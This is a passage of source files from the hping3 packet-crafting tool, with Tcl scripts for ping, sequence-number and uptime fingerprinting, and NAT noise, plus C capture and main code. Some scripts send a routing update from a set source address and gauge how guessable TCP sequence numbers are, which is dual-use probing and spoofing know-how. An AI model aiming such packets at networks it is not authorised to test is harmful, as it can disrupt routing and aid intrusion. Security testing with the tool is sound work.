(([GetIcmpId $p] == 11111) || ([GetTcpSport $p] == 11111))} { return 1; } } } return 0; } # Todo, check the OS's version and to what needed. proc DropOutgoingResets {} { exec "iptables -A OUTPUT -p tcp -j DROP --tcp-flags RST RST" } ################################################################################ # Non hping specific Tcl functions that seems to help ################################################################################ proc isempty l { expr {[llength $l] == 0} } proc haskey {arrayname key} { expr {[llength [uplevel "array names $arrayname -exact $key"]] != 0} } # # End of the hping standard library # ################################################################################ # vim: filetype=tcl hping3-3.a2.ds2/lib/igrp.htcl000066400000000000000000000004761021454026700157710ustar00rootroot00000000000000#hping send "ip(saddr=192.168.41.183,daddr=255.255.255.255,ttl=255)+igrp(opcode=update,edition=[expr 114+$i],autosys=1,interior=1,system=0,exterior=0)+igrp.entry(dest=$i.7.6)" hping send "ip(saddr=192.168.41.183,daddr=192.168.41.184,ttl=255)+igrp(opcode=request,edition=100,autosys=1,interior=0,system=0,exterior=0)" hping3-3.a2.ds2/lib/isn-spectrogram.htcl000066400000000000000000000064421021454026700201440ustar00rootroot00000000000000# isn-spectrogram.htcl -- show the ISN increments "spectrogram". # Copyright(C) 2003 Salvatore Sanfilippo. # # All rights reserved. # # Here the idea is very simple, in operating systems implemeting # ISN as random increments, it is useless to analyze the whole # sequence number, because the random part is just the increment. # Morover, some weaknes isn't about correlation between previous # and successive increments, but just about increments don't show # a good distribution. So the idea is to display a spectrogram # of the increments distribution instead of the more complex to read # 3D attractors (See [1]). This way is possible to see at least some of # the common vulnerabilties you can discover with 3D attractors, # but it is much simpler to guess how hard is to exploit the system # just from the picture. # # [1] http://razor.bindview.com/publish/papers/tcpseq.html # # Please if you make this script better write me back the # changes. (antirez@invece.org). # # The script requires Tk to run. package require Tk source hpingstdlib.htcl if {$argc != 3} { puts stderr "Usage: isn-spectrogram " puts stderr "Example: isn-spectrogram www.example.com 100000 80" exit } set bgcolor {#000000} wm title . {hping3 -- attractors} set w .main frame $w pack $w -side top . config -background $bgcolor $w config -background $bgcolor # canvas set xres 800 set yres 800 canvas $w.can -width $xres -height $yres $w.can config -background $bgcolor pack $w.can -fill both -expand true # globals foreach {hostname div dport} $argv break set sport 1 #set dport 80 set target [hping resolve $hostname] set targetif [outifname $target] set myip [hping outifa $target] set isnqueue {} set relative_attractor 1 set lastisn 0 #set div 10000000 hping setfilter $targetif "tcp and src host $target" $w.can create rectangle 40 450 139 450 -fill white -width 0 $w.can create text 90 470 -fill white -text [expr $div*100] proc sendsyn {} { global sport dport myip target append syn "ip(saddr=$myip,daddr=$target,ttl=255)+" append syn "tcp(sport=$sport,dport=$dport,flags=s)" hping send $syn incr sport after 1 sendsyn } proc recvsynack {} { global lastisn relative_attractor set packets [hping recv eth0 0 0] foreach p $packets { if {![hping hasfield tcp flags $p]} continue set isn [hping getfield tcp seq $p] if {$relative_attractor} { set tisn [expr abs($isn-$lastisn)] set lastisn $isn set isn $tisn } #puts "ISN: $isn" displaypoint $isn } after 10 recvsynack } proc displaypoint isn { global w xres yres pastcol div set isn [expr $isn/$div] set y 300 set x $isn puts "$x $y" if {[haskey pastcol $x.$y]} { set graylevel [incr pastcol($x.$y) 10] } else { set pastcol($x.$y) 0 set graylevel 0 } if {$graylevel >= 256*3} { set graylevel [expr (256*3)-1] } if {$graylevel <= 255} { set b $graylevel set g 0 set r 0 } elseif {$graylevel <= 511} { set b 0 set g [expr $graylevel - 256] set r 255 } elseif {$graylevel <= 767} { set b 255 set g 255 set r [expr $graylevel - 512] } set color [format "#%02X%02X%02X" $r $g $b] $w.can create rectangle $x $y [expr $x+1] [expr $y+100] -fill $color -width 0 } after 1 sendsyn after 1 recvsynack vwait forever # vim: filetype=tcl softtabstop=4 hping3-3.a2.ds2/lib/nat-noise.htcl000066400000000000000000000152021021454026700167160ustar00rootroot00000000000000# # A simple NAT toy with alteration filters. # package require profiler ::profiler::init ################################### CONFIG ##################################### source "hpingstdlib.htcl" set target [hping resolve 192.168.0.3] set myip [hping outifa $target] set fakeip 192.168.10.100 set outlist {} set inlist {} if {1} { set input_modules { {mod_dup .2} {mod_loss .2} {mod_print "input: "} {mod_send 100} {mod_zap} } set output_modules { {mod_dup .0} {mod_loss .0} {mod_corrupt_data 1 .1} {mod_print "output: "} {mod_send 0} {mod_zap} } } if {0} { set output_modules { {mod_shuffle 5 500 input} {mod_send 0} {mod_zap} } set input_modules { {mod_send 0} {mod_zap} } } if {0} { set output_modules { {mod_tcp_daytona_dupack 50} {mod_send 0} {mod_zap} } set input_modules { {mod_send 0} {mod_zap} } } if {0} { set output_modules { {mod_tcp_frag 1} {mod_send 0} {mod_zap} } set input_modules { {mod_send 0} {mod_zap} } } #################################### CORE ###################################### proc donat {} { global target myip fakeip outlist inlist set packets [hping recv -hexdata eth0 0 10] foreach p $packets { DelApdField ip cksum p DelApdField tcp cksum p DelApdField tcp off p #puts "[GetIpSaddr $p] -> [GetIpDaddr $p]" if {[GetIpSaddr $p] == $myip && [GetIpDaddr $p] == $fakeip} { SetApdField ip saddr $fakeip p SetApdField ip daddr $target p lappend outlist $p puts -nonewline O; flush stdout } elseif {[GetIpSaddr $p] == $target && [GetIpDaddr $p] == $fakeip} { SetApdField ip saddr $fakeip p SetApdField ip daddr $myip p lappend inlist $p puts -nonewline I; flush stdout } } after idle donat } proc runmodules {} { global outlist inlist input_modules output_modules if {[llength $inlist]} { foreach m $input_modules { lappend m $inlist set inlist [eval $m] } } if {[llength $outlist]} { foreach m $output_modules { lappend m $outlist set outlist [eval $m] } } after idle runmodules } #################################### MODULES ################################### ### DUP ### proc mod_dup {rate packets} { foreach p $packets { lappend l $p if {rand() < $rate} { puts -nonewline D; flush stdout lappend l $p } } return $l } ### LOSS ### proc mod_loss {rate packets} { set l {} foreach p $packets { if {rand() >= $rate} { lappend l $p } else { puts -nonewline L; flush stdout } } return $l } ### SEND ### proc mod_send {maxdelay packets} { set len [llength $packets] for {set i [expr $len-1]} {$i >= 0} {incr i -1} { set p [lindex $packets $i] puts -nonewline W; flush stdout if {$maxdelay} { set ms [expr int(rand()*($maxdelay+1))] after $ms "hping send $p" } else { hping send $p } } return $packets } ### ZAP ### proc mod_zap packets { return {} } ### PRINT ### proc mod_print {tag packets} { foreach p $packets { puts "$tag $p" } return $packets } ### CORRUPT_DATA ### proc mod_corrupt_data {num rate packets} { # return $packets foreach p $packets { set mod 0 set data [GetApdField data hex $p] set len [string length $data] if {$len} { for {set i 0} {$i < $num} {incr i} { if {rand() < $rate} { set byte [format "%02x" [expr int(rand()*256)]] set x [expr $len/2] set offset [expr int(rand()*$x)] set data [string replace $data [expr $offset*2] [expr ($offset*2)+1] $byte] } } SetApdField data hex $data p } lappend l $p } return $l } ### SHUFFLE AND HELPER FUNCTIONS ### proc K { x y } { set x } proc shuffle { list } { set n [llength $list] while {$n > 0} { set j [expr {int(rand()*$n)}] lappend slist [lindex $list $j] incr n -1 set temp [lindex $list $n] set list [lreplace [K $list [set list {}]] $j $j $temp] } return $slist } proc shuffle_flush {tag packets} { global shuffle_list_$tag shuffle_startms_$tag pending_flush_$tag unset shuffle_list_$tag unset shuffle_startms_$tag set pending_flush_$tag 0 mod_send 0 $packets } proc mod_shuffle {count timeout tag packets} { global shuffle_list_$tag shuffle_startms_$tag pending_flush_$tag global pending_flush_id_$tag if {! [info exists shuffle_list_$tag]} { set shuffle_list_$tag {} set shuffle_startms_$tag [clock clicks -milliseconds] set pending_flush_$tag 0 } if {[info exists pending_flush_$tag] && [set pending_flush_$tag]} { after cancel [set pending_flush_id_$tag] set pending_flush_$tag 0 } set shuffle_list_$tag [concat [set shuffle_list_$tag] $packets] set len [llength [set shuffle_list_$tag]] if {$len >= $count} { set x [shuffle [set shuffle_list_$tag]] unset shuffle_list_$tag unset shuffle_startms_$tag return $x } elseif {$len} { set elapsed [expr [clock clicks -milliseconds] - [set shuffle_startms_$tag]] set flush_delay [expr $timeout - $elapsed] if {$flush_delay <= 0} {set flush_delay 1} set pending_flush_id_$tag [after $flush_delay [list shuffle_flush $tag [set shuffle_list_$tag]]] set pending_flush_$tag 1 return {} } return {} } ### DUP ACK ### proc mod_tcp_daytona_dupack {count packets} { foreach p $packets { if {[string match [hping getfield tcp flags $p] "a"] && [string length [hping getfield data hex $p]] == 0} { puts -nonewline .DUPACK.; flush stdout for {set i 0} {$i < $count} {incr i} { lappend l $p } } else { lappend l $p } } return $l } ### TCP FRAG ### proc mod_tcp_frag {size packets} { foreach p $packets { if {[GetIpProto $p] != 6} { lappend temp $p continue } set data [GetDataHex $p] if {[llength $data] == 0} { lappend temp $p continue } set datalen [string length $data] if {$datalen <= $size} { lappend temp $p continue } set seq [GetTcpSeq $p] set size [expr {$size*2}] set xtemp {} while {$datalen} { set l [if {$datalen >= $size} {set size} {set datalen}] set load [string range $data 0 [expr {$l-1}]] set data [string range $data $l end] incr datalen -$l set p [hping setfield tcp seq $seq $p] set p [hping setfield data hex $load $p] set p [hping delfield ip totlen $p] set p [hping delfield ip cksum $p] set p [hping delfield tcp cksum $p] set p [hping delfield tcp off $p] puts "$seq $load" lappend xtemp $p incr seq [expr {$l/2}] } set xtl [expr {[llength $xtemp]-1}] for {set j $xtl} {$j >= 0} {incr j -1} { lappend temp [lindex $xtemp $j] } } return $temp } # vim: filetype=tcl ### PROFILER HELPER ### proc prof {} { puts [::profiler::print] puts [::profiler::sortFunctions exclusiveRuntime] after 1000 prof } ################################# EVENT LOOP ################################### after 1 donat after 1 runmodules #after 1 prof vwait forever # vim: filetype=tcl hping3-3.a2.ds2/lib/passivets.htcl000066400000000000000000000026661021454026700170540ustar00rootroot00000000000000# Try to discover hosts's uptime in a passive-fashion (i.e. locking # at the traffic). Maybe it's a bit buggy, but just an exaple. source "hpingstdlib.htcl" while {1} { set packets [hping recv eth0 -1] set p [lindex $packets 0] set srcaddr [GetIpSaddr $p] if {[string length [array names ignore $srcaddr]]} { continue } set tsval [GetTcpTimestampVal $p] if {$tsval != {}} { #puts "$srcaddr: $tsval ([clock clicks -milliseconds])" if {[string length [array names lastval $srcaddr]]} { set xms [expr [clock clicks -milliseconds] - $lastms($srcaddr)] if {$xms >= 1000} { set xval [expr $tsval-$lastval($srcaddr)] set hz [expr ($xval/$xms.0)*1000] set hz [expr round($hz)] #puts "$srcaddr: XVAL=$xval XMS=$xms HZ=$hz" #set lastval($srcaddr) $tsval #set lastms($srcaddr) [clock clicks -milliseconds] if {($hz%10) == 0 && $hz != 0} { set upseconds [expr $tsval / $hz] set days [expr $upseconds/(3600*24)] set upseconds [expr $upseconds%(3600*24)] set hours [expr $upseconds/3600] set upseconds [expr $upseconds % 3600] set minutes [expr $upseconds/60] set upseconds [expr $upseconds % 60] set seconds $upseconds puts "[hping resolve -ptr $srcaddr] ($srcaddr) UPTIME=$days days, $hours hours, $minutes minutes, $seconds seconds" set ignore($srcaddr) yes } } } else { set lastval($srcaddr) $tsval set lastms($srcaddr) [clock clicks -milliseconds] } } } hping3-3.a2.ds2/lib/ping.htcl000066400000000000000000000027601021454026700157630ustar00rootroot00000000000000#hping softrealtime 1 source "hpingstdlib.htcl" if {$argc != 1} { puts "usage: ping.htcl hostname" exit 1 } set target [lindex $argv 0] set targetip [hping resolve $target] puts "PING $target ($targetip): 56 data bytes" set outifaddr [hping outifa $targetip] set outifname [outifname $targetip] hping setfilter $outifname "icmp and host $targetip" set icmp_id [expr int(rand()*65536)] set icmp_seq 0 array set icmp_rtt_tab {} proc send_icmp {} { after 1000 send_icmp global outifaddr targetip icmp_id icmp_seq icmp_rtt_tab append icmp "ip(saddr=$outifaddr,daddr=$targetip,ttl=255)+" append icmp "icmp(type=8,code=0,id=$icmp_id,seq=$icmp_seq)+" append icmp "data(str=[string repeat X 28])" set icmp_rtt_tab($icmp_seq) [clock clicks -milliseconds] hping send $icmp #puts "! $icmp_seq" incr icmp_seq } proc recv_icmp {} { global outifname outifaddr targetip icmp_id icmp_rtt_tab set packets [hping recv $outifname 0 1000] #puts [llength $packets] foreach p $packets { if {[GetIpSaddr $p] != $targetip} continue if {[GetIpDaddr $p] != $outifaddr} continue if {[GetIcmpType $p] != 0} continue if {[GetIcmpCode $p] != 0} continue if {[GetIcmpId $p] != $icmp_id} continue set seq [GetIcmpSeq $p] set ttl [GetIpTtl $p] set rtt [expr [clock clicks -milliseconds] - $icmp_rtt_tab($seq)] puts "xxx bytes from [GetIpSaddr $p]: icmp_seq=$seq ttl=$ttl time=$rtt.0 ms" } after 10 recv_icmp } hping recv $outifname 0 after 10 send_icmp after idle recv_icmp vwait forver # vim: filetype=tcl hping3-3.a2.ds2/lib/raw.htcl000066400000000000000000000002351021454026700156120ustar00rootroot00000000000000while {1} { set packets [hping recvraw eth0 -1 1] foreach p $packets { set len [string bytelength $p] binary scan $p H* hex puts "$len: $hex\n" } } hping3-3.a2.ds2/lib/regtest/000077500000000000000000000000001021454026700156225ustar00rootroot00000000000000hping3-3.a2.ds2/lib/regtest/rt0.htcl000066400000000000000000000017561021454026700172140ustar00rootroot00000000000000# SIGSEGV due to ipopt compilation bug: the padding code didn't set realloc() # result in layer->l_data field. Fixed. hping send {ip(saddr=192.168.1.6,daddr=192.168.1.7)+ip.nop+ip.nop+ip.nop+ip.sec+icmp} hping send {ip(saddr=192.168.1.6,daddr=192.168.1.7)+ip.nop+ip.nop+ip.nop+ip.sec+ip.eol+icmp} hping send {ip(saddr=192.168.1.6,daddr=192.168.1.7)+ip.nop+ip.nop+ip.nop+ip.sec+ip.eol+icmp} hping send {ip(saddr=192.168.1.6,daddr=192.168.1.7)+ip.nop+ip.sec+ip.eol+icmp} hping send {ip(saddr=192.168.1.6,daddr=192.168.1.7)+ip.sec+ip.eol+icmp} hping send {ip(saddr=192.168.1.6,daddr=192.168.1.7)+ip.sec+ip.nop+ip.eol+icmp} hping send {ip(saddr=192.168.1.6,daddr=192.168.1.7)+ip.sec+ip.nop+ip.eol+ip.nop+ip.eol+icmp} hping send {ip(saddr=192.168.1.6,daddr=192.168.1.7)+ip.sec+ip.nop+ip.eol+ip.nop+ip.eol+ip.ts+icmp} hping send {ip(saddr=192.168.1.6,daddr=192.168.1.7)+ip.sec+ip.nop+ip.nop+ip.sec+icmp} hping send {ip(saddr=192.168.1.6,daddr=192.168.1.7)+ip.nop+ip.sec+ip.nop+ip.eol+ip.nop+ip.eol+ip.sec+icmp} hping3-3.a2.ds2/lib/show-tcpseq.htcl000066400000000000000000000044171021454026700173040ustar00rootroot00000000000000# Show TCP sequence numbers read from the specified interface's traffic # graphically. If you click on the points with the mouse, the IP address # of the associated host is shown, and all the traffic about that # host gets highlighted. if {![llength $argv]} { puts stderr "Please, specify the name of an interface" exit } set ifname [lindex $argv 0] package require Tk source hpingstdlib.htcl set bgcolor {#000000} wm title . {hping3 -- show-tcpseq} set w .main frame $w pack $w -side top . config -background $bgcolor $w config -background $bgcolor # colors set colors {red green blue gray yellow purple cyan brown} set coloridx 0 array set hosts {} set start_time [clock seconds] proc getcolor {} { global colors coloridx set l [llength $colors] set i [expr $coloridx % $l] set c [lindex $colors $i] incr coloridx return $c } # canvas set xres 1024 set yres 760 canvas $w.can -width $xres -height $yres $w.can config -background $bgcolor pack $w.can -fill both -expand true $w.can bind all {ButtonPress %x %y %W} $w.can bind all {ButtonRelease %x %y %W} # bindings proc ButtonPress {x y W} { global tag set id [$W find closest $x $y] set tags [$W gettags $id] set tag [lindex $tags 0] set name [hping resolve -ptr $tag] # Highlight all the points about that IP address $W itemconfigure $tag -width 1 -outline gray70 $W create text $x $y -text $name -tag nametext -fill white -anchor n } proc ButtonRelease {x y W} { global tag hosts # Restore the color $W itemconfigure $tag -width 0 $W delete nametext } # main loop while {1} { set packets [hping recv $::ifname 100] foreach p $packets { if {![hping hasfield tcp seq $p]} continue set seq [hping getfield tcp seq $p] set ip [hping getfield ip saddr $p] if {[haskey hosts $ip]} { set color $hosts($ip) } else { set color [getcolor] set hosts($ip) $color } set now [clock seconds] set elapsed [expr {$now-$start_time}] if {$elapsed >= $xres} { set start_time $now set elapsed 0 $w.can delete all } set y [expr {int($seq/5651272)}] set x $elapsed #puts "$seq -> $y" $w.can create oval $x $y [expr $x+3] [expr $y+3] -fill $color -width 0 -tag $ip } update } # vim: filetype=tcl softtabstop=4 hping3-3.a2.ds2/lib/showled.htcl000066400000000000000000000016361021454026700164740ustar00rootroot00000000000000package require Tk set bgcolor {#FFFFFF} wm title . {hping3 -- showled} set w .main frame $w pack $w -side top . config -background $bgcolor $w config -background $bgcolor # canvas set ifnum [llength [hping iflist]] canvas $w.can -width 100 -height [expr ($ifnum*25)+40] $w.can config -background $bgcolor pack $w.can -fill both -expand true # show leds proc draw {} { global w set ifnum [llength [hping iflist]] $w.can config -width 100 -height [expr ($ifnum*25)+40] $w.can delete all set y 20 foreach i [hping iflist] { set ifname [lindex $i 0] if {[string match *NOLINK* [lindex $i 4]]} { set color red } else { set color green } $w.can create oval 20 $y 40 [expr $y+20] -fill $color -width 1 -outline black -tag $ifname $w.can create text 60 [expr $y+10] -text $ifname -tag $ifname.t incr y 25 } after 1000 draw } after 0 draw #vim: set filetype=tcl softtabstop=4 hping3-3.a2.ds2/libpcap_stuff.c000066400000000000000000000031361021454026700163670ustar00rootroot00000000000000/* * $smu-mark$ * $name: libpcap_stuff.c$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:48 MET 1999$ * $rev: 8$ */ /* $Id: libpcap_stuff.c,v 1.3 2004/04/09 23:38:56 antirez Exp $ */ #include "hping2.h" #include #include #include #include #include #include #include "globals.h" int open_pcap() { int on; on = 1; /* no warning if BIOCIMMEDIATE will not be compiled */ if (opt_debug) printf("DEBUG: pcap_open_live(%s, 99999, 0, 1, %p)\n", ifname, errbuf); pcapfp = pcap_open_live(ifname, 99999, 0, 1, errbuf); if (pcapfp == NULL) { printf("[open_pcap] pcap_open_live: %s\n", errbuf); return -1; } #if (!defined OSTYPE_LINUX) && (!defined __sun__) /* Return the packets to userspace as fast as possible */ if (ioctl(pcap_fileno(pcapfp), BIOCIMMEDIATE, &on) == -1) perror("[open_pcap] ioctl(... BIOCIMMEDIATE ...)"); #endif return 0; } int close_pcap() { pcap_close(pcapfp); return 0; } int pcap_recv(char *packet, unsigned int size) { char *p = NULL; int pcapsize; if (opt_debug) printf("DEBUG: under pcap_recv()\n"); while(p == NULL) { p = (unsigned char*) pcap_next(pcapfp, &hdr); if (p == NULL && opt_debug) printf("DEBUG: [pcap_recv] p = NULL\n"); } pcapsize = hdr.caplen; if (pcapsize < size) size = pcapsize; memcpy(packet, p, pcapsize); return pcapsize; } hping3-3.a2.ds2/listen.c000066400000000000000000000034021021454026700150400ustar00rootroot00000000000000/* * $smu-mark$ * $name: listen.c$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:48 MET 1999$ * $rev: 8$ */ /* $Id: listen.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include #include #include #include #include #include #include #include "hping2.h" /* hping2.h includes hcmp.h */ #include "globals.h" void listenmain(void) { int size, ip_size; int stdoutFD = fileno(stdout); char packet[IP_MAX_SIZE+linkhdr_size]; char *p, *ip_packet; struct myiphdr ip; __u16 id; static __u16 exp_id; /* expected id */ exp_id = 1; while(1) { size = read_packet(packet, IP_MAX_SIZE+linkhdr_size); switch(size) { case 0: continue; case -1: exit(1); } /* Skip truncated packets */ if (size < linkhdr_size+IPHDR_SIZE) continue; ip_packet = packet + linkhdr_size; /* copy the ip header so it will be aligned */ memcpy(&ip, ip_packet, sizeof(ip)); id = ntohs(ip.id); ip_size = ntohs(ip.tot_len); if (size-linkhdr_size > ip_size) size = ip_size; else size -= linkhdr_size; if ((p = memstr(ip_packet, sign, size))) { if (opt_verbose) fprintf(stderr, "packet %d received\n", id); if (opt_safe) { if (id == exp_id) exp_id++; else { if (opt_verbose) fprintf(stderr, "packet not in sequence (id %d) received\n", id); send_hcmp(HCMP_RESTART, exp_id); if (opt_verbose) fprintf(stderr, "HCMP restart from %d sent\n", exp_id); continue; /* discard this packet */ } } p+=strlen(sign); write(stdoutFD, p, size-(p-ip_packet)); } } } hping3-3.a2.ds2/logicmp.c000066400000000000000000000036041021454026700152000ustar00rootroot00000000000000/* * $smu-mark$ * $name: logicmp.c$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:48 MET 1999$ * $rev: 8$ */ /* $Id: logicmp.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include #include /* this should be not needed, but ip_icmp.h lacks it */ #include "hping2.h" #include "globals.h" void log_icmp_timeexc(char *src_addr, unsigned short icmp_code) { switch(icmp_code) { case ICMP_EXC_TTL: printf("TTL 0 during transit from ip=%s", src_addr); break; case ICMP_EXC_FRAGTIME: printf("TTL 0 during reassembly from ip=%s", src_addr); break; } if (opt_gethost) { char *hostn; fflush(stdout); hostn = get_hostname(src_addr); printf("name=%s", (hostn) ? hostn : "UNKNOWN"); } putchar('\n'); } void log_icmp_unreach(char *src_addr, unsigned short icmp_code) { static char* icmp_unreach_msg[]={ "Network Unreachable from", /* code 0 */ "Host Unreachable from", /* code 1 */ "Protocol Unreachable from", /* code 2 */ "Port Unreachable from", /* code 3 */ "Fragmentation Needed/DF set from", /* code 4 */ "Source Route failed from", /* code 5 */ NULL, /* code 6 */ NULL, /* code 7 */ NULL, /* code 8 */ NULL, /* code 9 */ NULL, /* code 10 */ NULL, /* code 11 */ NULL, /* code 12 */ "Packet filtered from", /* code 13 */ "Precedence violation from", /* code 14 */ "precedence cut off from" /* code 15 */ }; if (icmp_unreach_msg[icmp_code] != NULL) printf("ICMP %s ip=%s", icmp_unreach_msg[icmp_code], src_addr); else printf("ICMP Unreachable type=%d from ip=%s", icmp_code, src_addr); if (opt_gethost) { char *hostn; fflush(stdout); hostn = get_hostname(src_addr); printf("name=%s", (hostn) ? hostn : "UNKNOWN"); } putchar('\n'); } hping3-3.a2.ds2/main.c000066400000000000000000000212351021454026700144720ustar00rootroot00000000000000/* * $smu-mark$ * $name: main.c$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:48 MET 1999$ * $rev: 8$ */ /* * hping official page at http://www.kyuzz.org/antirez * Covered by GPL version 2, Read the COPYING file for more information */ /* $Id: main.c,v 1.4 2004/06/18 09:53:11 antirez Exp $ */ #include #include #include #include #include #include #include #include #include #include #include #include #include "hping2.h" /* globals */ unsigned int tcp_th_flags = 0, linkhdr_size, /* physical layer header size */ ip_tos = 0, set_seqnum = FALSE, tcp_seqnum = FALSE, set_ack, h_if_mtu, virtual_mtu = DEFAULT_VIRTUAL_MTU, ip_frag_offset = 0, signlen, lsr_length = 0, ssr_length = 0, tcp_ack; unsigned short int data_size = 0; float rtt_min = 0, rtt_max = 0, rtt_avg = 0; int sockpacket, sockraw, sent_pkt = 0, recv_pkt = 0, out_of_sequence_pkt = 0, sending_wait = DEFAULT_SENDINGWAIT, /* see DEFAULT_SENDINGWAIT */ opt_rawipmode = FALSE, opt_icmpmode = FALSE, opt_udpmode = FALSE, opt_scanmode = FALSE, opt_listenmode = FALSE, opt_waitinusec = FALSE, opt_numeric = FALSE, opt_gethost = TRUE, opt_quiet = FALSE, opt_relid = FALSE, opt_fragment = FALSE, opt_df = FALSE, opt_mf = FALSE, opt_debug = FALSE, opt_verbose = FALSE, opt_winid_order = FALSE, opt_keepstill = FALSE, opt_datafromfile= FALSE, opt_hexdump = FALSE, opt_contdump = FALSE, opt_sign = FALSE, opt_safe = FALSE, opt_end = FALSE, opt_traceroute = FALSE, opt_seqnum = FALSE, opt_incdport = FALSE, opt_force_incdport = FALSE, opt_icmptype = DEFAULT_ICMP_TYPE, opt_icmpcode = DEFAULT_ICMP_CODE, opt_rroute = FALSE, opt_tcpexitcode = FALSE, opt_badcksum = FALSE, opt_tr_keep_ttl = FALSE, opt_tcp_timestamp = FALSE, opt_tr_stop = FALSE, opt_tr_no_rtt = FALSE, opt_rand_dest = FALSE, opt_rand_source = FALSE, opt_lsrr = FALSE, opt_ssrr = FALSE, opt_cplt_rte = FALSE, opt_beep = FALSE, opt_flood = FALSE, tcp_exitcode = 0, src_ttl = DEFAULT_TTL, src_id = -1, /* random */ base_dst_port = DEFAULT_DPORT, dst_port = DEFAULT_DPORT, src_port, sequence = 0, initsport = DEFAULT_INITSPORT, src_winsize = DEFAULT_SRCWINSIZE, src_thoff = (TCPHDR_SIZE >> 2), count = DEFAULT_COUNT, ctrlzbind = DEFAULT_BIND, delaytable_index= 0, eof_reached = FALSE, icmp_ip_version = DEFAULT_ICMP_IP_VERSION, icmp_ip_ihl = DEFAULT_ICMP_IP_IHL, icmp_ip_tos = DEFAULT_ICMP_IP_TOS, icmp_ip_tot_len = DEFAULT_ICMP_IP_TOT_LEN, icmp_ip_id = DEFAULT_ICMP_IP_ID, icmp_ip_protocol= DEFAULT_ICMP_IP_PROTOCOL, icmp_ip_srcport = DEFAULT_DPORT, icmp_ip_dstport = DEFAULT_DPORT, opt_force_icmp = FALSE, icmp_cksum = DEFAULT_ICMP_CKSUM, raw_ip_protocol = DEFAULT_RAW_IP_PROTOCOL; char datafilename [1024], targetname [1024], targetstraddr [1024], ifname [1024] = {'\0'}, ifstraddr [1024], spoofaddr [1024], icmp_ip_srcip [1024], icmp_ip_dstip [1024], icmp_gwip [1024], sign [1024], rsign [1024], /* reverse sign (hping -> gniph) */ ip_opt [40], *opt_scanports = ""; unsigned char lsr [255] = {0}, ssr [255] = {0}; unsigned ip_optlen = 0; struct sockaddr_in icmp_ip_src, icmp_ip_dst, icmp_gw, local, remote; struct itimerval usec_delay; volatile struct delaytable_element delaytable[TABLESIZE]; struct hcmphdr *hcmphdr_p; /* global pointer used by send_hcmp to transfer hcmp headers to data_handler */ pcap_t *pcapfp; char errbuf[PCAP_ERRBUF_SIZE]; struct pcap_pkthdr hdr; /* main */ int main(int argc, char **argv) { char setflags[1024] = {'\0'}; int c, hdr_size; /* Check for the scripting mode */ if (argc == 1 || (argc > 1 && !strcmp(argv[1], "exec"))) { #ifdef USE_TCL if (argc != 1) { argv++; argc--; } hping_script(argc, argv); exit(0); /* unreached */ #else fprintf(stderr, "Sorry, this hping binary was compiled " "without TCL scripting support\n"); exit(1); #endif } if (parse_options(argc, argv) == -1) { printf("hping2: missing host argument\n" "Try `hping2 --help' for more information.\n"); exit(1); } /* reverse sign */ if (opt_sign || opt_listenmode) { char *src = sign+strlen(sign)-1; /* last char before '\0' */ char *dst = rsign; while(src>=sign) *dst++ = *src--; *dst = '\0'; if (opt_debug) printf("DEBUG: reverse sign: %s\n", rsign); } /* get target address before interface processing */ if ((!opt_listenmode && !opt_safe) && !opt_rand_dest) resolve((struct sockaddr*)&remote, targetname); if (opt_rand_dest) { strlcpy(targetstraddr, targetname, sizeof(targetstraddr)); } else { strlcpy(targetstraddr, inet_ntoa(remote.sin_addr), sizeof(targetstraddr)); } /* get interface's name and address */ if ( get_if_name() == -1 ) { printf("[main] no such device\n"); exit(1); } if (opt_verbose || opt_debug) { printf("using %s, addr: %s, MTU: %d\n", ifname, ifstraddr, h_if_mtu); } /* open raw socket */ sockraw = open_sockraw(); if (sockraw == -1) { printf("[main] can't open raw socket\n"); exit(1); } /* set SO_BROADCAST option */ socket_broadcast(sockraw); /* set SO_IPHDRINCL option */ socket_iphdrincl(sockraw); /* open sock packet or libpcap socket */ if (open_pcap() == -1) { printf("[main] open_pcap failed\n"); exit(1); } /* get physical layer header size */ if ( get_linkhdr_size(ifname) == -1 ) { printf("[main] physical layer header size unknown\n"); exit(1); } if (spoofaddr[0] == '\0') resolve((struct sockaddr*)&local, ifstraddr); else resolve((struct sockaddr*)&local, spoofaddr); if (icmp_ip_srcip[0] == '\0') resolve((struct sockaddr*)&icmp_ip_src, "1.2.3.4"); else resolve((struct sockaddr*)&icmp_ip_src, icmp_ip_srcip); if (icmp_ip_dstip[0] == '\0') resolve((struct sockaddr*)&icmp_ip_dst, "5.6.7.8"); else resolve((struct sockaddr*)&icmp_ip_dst, icmp_ip_dstip); if (icmp_gwip[0] == '\0') resolve((struct sockaddr*)&icmp_gw, "0.0.0.0"); else resolve((struct sockaddr*)&icmp_gw, icmp_gwip); srand(time(NULL)); /* set initial source port */ if (initsport == -1) initsport = src_port = 1024 + (rand() % 2000); else src_port = initsport; for (c = 0; c < TABLESIZE; c++) delaytable[c].seq = -1; /* use SIGALRM to send packets like ping do */ Signal(SIGALRM, send_packet); /* binding */ if (ctrlzbind != BIND_NONE) Signal(SIGTSTP, inc_destparm); Signal(SIGINT, print_statistics); Signal(SIGTERM, print_statistics); /* if we are in listemode enter in listenmain() else */ /* print HPING... bla bla bla and enter in wait_packet() */ if (opt_listenmode) { fprintf(stderr, "hping2 listen mode\n"); /* memory protection */ if (memlockall() == -1) { perror("[main] memlockall()"); fprintf(stderr, "Warning: can't disable memory paging!\n"); } else if (opt_verbose || opt_debug) { printf("Memory paging disabled\n"); } listenmain(); /* UNREACHED */ } /* Scan mode */ if (opt_scanmode) { fprintf(stderr, "Scanning %s (%s), port %s\n", targetname, targetstraddr, opt_scanports); scanmain(); /* UNREACHED */ } if (opt_rawipmode) { strcat(setflags, "raw IP mode"); hdr_size = IPHDR_SIZE; } else if (opt_icmpmode) { strcat(setflags, "icmp mode"); hdr_size = IPHDR_SIZE + ICMPHDR_SIZE; } else if (opt_udpmode) { strcat(setflags, "udp mode"); hdr_size = 